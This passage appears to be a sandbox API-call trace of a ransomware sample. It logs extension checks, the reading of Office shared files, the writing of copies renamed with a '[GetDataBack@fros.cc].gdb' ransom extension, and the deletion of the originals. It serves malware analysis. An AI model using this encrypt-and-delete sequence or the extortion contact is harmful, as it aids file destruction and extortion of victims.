Tag\\1033\\MCABOUT.HTM") returned 73 [0121.759] lstrlenW (lpString=".1cd") returned 4 [0121.759] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0121.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0121.759] lstrlenW (lpString=".jpg") returned 4 [0121.759] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0121.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0121.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0121.759] lstrlenW (lpString=".doc") returned 4 [0121.759] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0121.759] lstrlenW (lpString=".docx") returned 5 [0121.759] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0121.759] lstrlenW (lpString=".pdf") returned 4 [0121.759] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0121.759] lstrlenW (lpString=".xls") returned 4 [0121.759] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0121.759] lstrlenW (lpString=".xlsx") returned 5 [0121.759] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0121.759] lstrlenW (lpString=".ppt") returned 4 [0121.759] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0121.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0121.759] lstrlenW (lpString=".zip") returned 4 [0121.759] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0121.759] lstrlenW (lpString=".rar") returned 4 [0121.759] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0121.759] lstrlenW (lpString=".bz2") returned 4 [0121.759] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0121.759] lstrlenW (lpString=".7z") returned 3 [0121.759] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0121.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0121.759] lstrlenW (lpString=".dbf") returned 4 [0121.759] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0121.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0121.759] lstrlenW (lpString=".1cd") returned 4 [0121.760] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0121.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0121.760] lstrlenW (lpString=".jpg") returned 4 [0121.760] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0121.760] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.760] lstrlenW (lpString="DATES.XML") returned 9 [0121.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.760] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=8918) returned 1 [0121.760] CloseHandle (hObject=0x200) returned 1 [0121.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0121.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.760] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.760] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0121.762] GetLastError () returned 0x0 [0121.762] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x22d6, lpOverlapped=0x0) returned 1 [0121.770] WriteFile (in: hFile=0x218, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x22e0, lpOverlapped=0x0) returned 1 [0121.771] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0121.771] WriteFile (in: hFile=0x218, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0121.771] SetEndOfFile (hFile=0x218) returned 1 [0121.771] CloseHandle (hObject=0x218) returned 1 [0121.772] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.772] SetEndOfFile (hFile=0x200) returned 1 [0121.773] CloseHandle (hObject=0x200) returned 1 [0121.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.773] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0121.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0121.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0121.773] lstrlenW (lpString=".doc") returned 4 [0121.773] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.773] lstrlenW (lpString=".docx") returned 5 [0121.773] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0121.774] lstrlenW (lpString=".pdf") returned 4 [0121.774] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.774] lstrlenW (lpString=".xls") returned 4 [0121.774] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.774] lstrlenW (lpString=".xlsx") returned 5 [0121.774] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0121.774] lstrlenW (lpString=".ppt") returned 4 [0121.774] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0121.774] lstrlenW (lpString=".zip") returned 4 [0121.774] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.774] lstrlenW (lpString=".rar") returned 4 [0121.774] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.774] lstrlenW (lpString=".bz2") returned 4 [0121.774] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.774] lstrlenW (lpString=".7z") returned 3 [0121.774] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0121.774] lstrlenW (lpString=".dbf") returned 4 [0121.774] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0121.774] lstrlenW (lpString=".1cd") returned 4 [0121.774] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0121.774] lstrlenW (lpString=".jpg") returned 4 [0121.774] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0121.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0121.774] lstrlenW (lpString=".doc") returned 4 [0121.774] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.774] lstrlenW (lpString=".docx") returned 5 [0121.774] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0121.774] lstrlenW (lpString=".pdf") returned 4 [0121.774] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.775] lstrlenW (lpString=".xls") returned 4 [0121.775] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.775] lstrlenW (lpString=".xlsx") returned 5 [0121.775] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0121.775] lstrlenW (lpString=".ppt") returned 4 [0121.775] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0121.775] lstrlenW (lpString=".zip") returned 4 [0121.775] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.775] lstrlenW (lpString=".rar") returned 4 [0121.775] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.775] lstrlenW (lpString=".bz2") returned 4 [0121.775] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.775] lstrlenW (lpString=".7z") returned 3 [0121.775] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0121.775] lstrlenW (lpString=".dbf") returned 4 [0121.775] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0121.775] lstrlenW (lpString=".1cd") returned 4 [0121.775] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0121.775] lstrlenW (lpString=".jpg") returned 4 [0121.775] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.775] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.775] lstrlenW (lpString="PHONE.XML") returned 9 [0121.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.776] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1844) returned 1 [0121.776] CloseHandle (hObject=0x200) returned 1 [0121.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0121.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.776] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.776] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0121.777] GetLastError () returned 0x0 [0121.777] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x734, lpOverlapped=0x0) returned 1 [0122.029] WriteFile (in: hFile=0x218, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x740, lpOverlapped=0x0) returned 1 [0122.030] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0122.030] WriteFile (in: hFile=0x218, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0122.030] SetEndOfFile (hFile=0x218) returned 1 [0122.030] CloseHandle (hObject=0x218) returned 1 [0122.031] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0122.031] SetEndOfFile (hFile=0x200) returned 1 [0122.031] CloseHandle (hObject=0x200) returned 1 [0122.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0122.032] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0122.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0122.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0122.032] lstrlenW (lpString=".doc") returned 4 [0122.032] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0122.032] lstrlenW (lpString=".docx") returned 5 [0122.032] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0122.032] lstrlenW (lpString=".pdf") returned 4 [0122.032] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0122.032] lstrlenW (lpString=".xls") returned 4 [0122.032] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0122.032] lstrlenW (lpString=".xlsx") returned 5 [0122.032] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0122.032] lstrlenW (lpString=".ppt") returned 4 [0122.032] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0122.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0122.032] lstrlenW (lpString=".zip") returned 4 [0122.032] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0122.032] lstrlenW (lpString=".rar") returned 4 [0122.032] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0122.032] lstrlenW (lpString=".bz2") returned 4 [0122.032] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0122.032] lstrlenW (lpString=".7z") returned 3 [0122.032] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0122.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0122.032] lstrlenW (lpString=".dbf") returned 4 [0122.032] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0122.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0122.032] lstrlenW (lpString=".1cd") returned 4 [0122.033] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0122.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0122.033] lstrlenW (lpString=".jpg") returned 4 [0122.033] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0122.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0122.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0122.033] lstrlenW (lpString=".doc") returned 4 [0122.033] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0122.033] lstrlenW (lpString=".docx") returned 5 [0122.033] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0122.033] lstrlenW (lpString=".pdf") returned 4 [0122.033] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0122.033] lstrlenW (lpString=".xls") returned 4 [0122.033] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0122.033] lstrlenW (lpString=".xlsx") returned 5 [0122.033] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0122.033] lstrlenW (lpString=".ppt") returned 4 [0122.033] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0122.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0122.033] lstrlenW (lpString=".zip") returned 4 [0122.033] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0122.033] lstrlenW (lpString=".rar") returned 4 [0122.033] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0122.033] lstrlenW (lpString=".bz2") returned 4 [0122.033] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0122.033] lstrlenW (lpString=".7z") returned 3 [0122.033] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0122.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0122.033] lstrlenW (lpString=".dbf") returned 4 [0122.033] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0122.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0122.033] lstrlenW (lpString=".1cd") returned 4 [0122.033] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0122.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0122.033] lstrlenW (lpString=".jpg") returned 4 [0122.033] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0122.034] lstrcmpiW (lpString1=".gif", lpString2=".gdb") returned 1 [0122.034] lstrlenW (lpString="Connectivity.gif") returned 16 [0122.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0122.473] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=2319) returned 1 [0122.473] CloseHandle (hObject=0x1cc) returned 1 [0122.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0122.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0122.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0122.473] lstrlenW (lpString=".doc") returned 4 [0122.473] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0122.473] lstrlenW (lpString=".docx") returned 5 [0122.473] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0122.473] lstrlenW (lpString=".pdf") returned 4 [0122.473] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0122.473] lstrlenW (lpString=".xls") returned 4 [0122.473] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0122.473] lstrlenW (lpString=".xlsx") returned 5 [0122.473] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0122.473] lstrlenW (lpString=".ppt") returned 4 [0122.473] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0122.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0122.474] lstrlenW (lpString=".zip") returned 4 [0122.474] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0122.474] lstrlenW (lpString=".rar") returned 4 [0122.474] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0122.474] lstrlenW (lpString=".bz2") returned 4 [0122.474] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0122.474] lstrlenW (lpString=".7z") returned 3 [0122.474] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0122.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0122.474] lstrlenW (lpString=".dbf") returned 4 [0122.474] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0122.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0122.474] lstrlenW (lpString=".1cd") returned 4 [0122.474] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0122.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0122.474] lstrlenW (lpString=".jpg") returned 4 [0122.474] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0122.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0122.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0122.474] lstrlenW (lpString=".doc") returned 4 [0122.474] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0122.474] lstrlenW (lpString=".docx") returned 5 [0122.474] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0122.474] lstrlenW (lpString=".pdf") returned 4 [0122.474] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0122.474] lstrlenW (lpString=".xls") returned 4 [0122.474] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0122.474] lstrlenW (lpString=".xlsx") returned 5 [0122.474] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0122.474] lstrlenW (lpString=".ppt") returned 4 [0122.474] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0122.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0122.474] lstrlenW (lpString=".zip") returned 4 [0122.474] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0122.474] lstrlenW (lpString=".rar") returned 4 [0122.474] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0122.475] lstrlenW (lpString=".bz2") returned 4 [0122.475] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0122.475] lstrlenW (lpString=".7z") returned 3 [0122.475] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0122.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0122.475] lstrlenW (lpString=".dbf") returned 4 [0122.475] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0122.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0122.475] lstrlenW (lpString=".1cd") returned 4 [0122.475] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0122.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0122.475] lstrlenW (lpString=".jpg") returned 4 [0122.475] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0122.475] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0122.475] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0122.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0122.949] 